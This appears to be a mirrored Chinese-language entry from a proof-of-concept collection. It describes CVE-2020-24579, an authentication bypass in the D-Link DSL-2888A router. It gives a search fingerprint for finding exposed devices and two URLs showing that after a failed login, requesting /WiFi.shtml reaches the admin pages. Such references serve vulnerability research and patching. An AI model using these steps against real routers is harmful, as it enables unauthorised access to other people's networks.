mirror of
https://github.com/Threekiii/Awesome-POC.git
synced 2025-11-07 03:44:10 +00:00
29 lines
687 B
Markdown
29 lines
687 B
Markdown
|
# D-Link DSL-28881A 未授权访问 CVE-2020-24579
|
|||
|
|
|
|||
|
|
## 漏洞描述
|
|||
|
|
|
|||
|
|
路由器Web门户的身份验证不足，无法访问任何经过身份验证的管理页面，而无需输入正确的密码。位于同一网络上的恶意用户可以使用无效的凭据直接浏览到任何经过身份验证的管理页面。
|
|||
|
|
|
|||
|
|
## 漏洞影响
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
D-Link DSL-2888A
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
## 网络测绘
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
body="DSL-2888A"
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
## 漏洞复现
|
|||
|
|
|
|||
|
|
登录页面输入任意密码建立连接
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
跳转到 http://xxx.xxx.xxx.xxx/page/login/login.html?error=fail 显示密码错误
|
|||
|
|
|
|||
|
|
再请求URL http://xxx.xxx.xxx.xxx/WiFi.shtml 未授权访问后台
|
|||
|
|
|
|||
|
|
|